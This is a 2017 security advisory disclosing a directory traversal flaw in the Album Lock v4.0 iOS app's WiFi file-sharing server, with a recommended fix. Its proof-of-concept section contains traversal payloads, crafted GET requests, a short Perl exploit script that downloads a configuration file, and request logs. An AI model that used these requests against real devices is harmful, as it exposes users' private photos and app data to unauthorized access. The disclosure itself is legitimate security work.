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Document Title:
===============
Album Lock v4.0 iOS - Directory Traversal Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2033


Release Date:
=============
2017-02-20


Vulnerability Laboratory ID (VL-ID):
====================================
2033


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most 
convenient private Photo&Video App!  You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways. 
From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.

(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.


Vulnerability Disclosure Timeline:
==================================
2017-02-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.

The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers 
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able 
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document` 
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server 
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.

The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. 
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the 
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] getObject

Vulnerable Parameter(s):
[+] filePaht

Affected Module(s):
[+] Web-Server File System


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Standard Request:
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png


PoC: Payload
/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application


Malicious Request: Exploitation
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/
http://localhost:8880/getImage?filePaht=/var/mobile/


PoC: Exploit
use strict;
use LWP::UserAgent;
my $b = LWP::UserAgent->new();
my $host = "1.1.1.1:5555";
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8880]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]


Reference(s):
http://localhost:8880/
http://localhost:8880/getImage
http://localhost:8880/getImage?filePaht=
http://localhost:8880/list_gif.html
http://localhost:8880/list_gif.html?folder=


Solution - Fix & Patch:
=======================
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

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